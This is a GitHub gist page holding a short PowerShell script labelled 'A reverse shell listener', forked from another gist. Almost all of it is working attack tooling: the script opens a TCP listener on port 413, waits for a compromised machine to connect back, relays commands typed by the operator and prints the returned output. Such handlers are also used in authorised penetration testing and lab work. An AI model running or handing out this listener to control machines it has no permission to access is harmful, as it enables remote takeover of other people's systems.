Forked from staaldraad/mini-reverse-listener.ps1
Last active
December 26, 2019 21:23
-
-
Save 4d4c/7663bceb1e72b8976cfd7e890df78b0f to your computer and use it in GitHub Desktop.
A reverse shell listener in powershell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413); | |
if($socket -eq $null){ | |
exit 1 | |
} | |
$socket.start() | |
$client = $socket.AcceptTcpClient() | |
write-output "[*] Connection!" | |
$stream = $client.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 2048; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do { | |
$cmd = read-host | |
$writer.WriteLine($cmd) | |
$writer.Flush(); | |
if($cmd -eq "exit") { | |
break | |
} | |
$read = $null; | |
while($stream.DataAvailable -or $read -eq $null) { | |
$read = $stream.Read($buffer, 0, 2048) | |
$out = $encoding.GetString($buffer, 0, $read) | |
Write-Output $out | |
} | |
} While ($client.Connected -eq $true) | |
$socket.Stop() | |
$client.close(); | |
$stream.Dispose() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment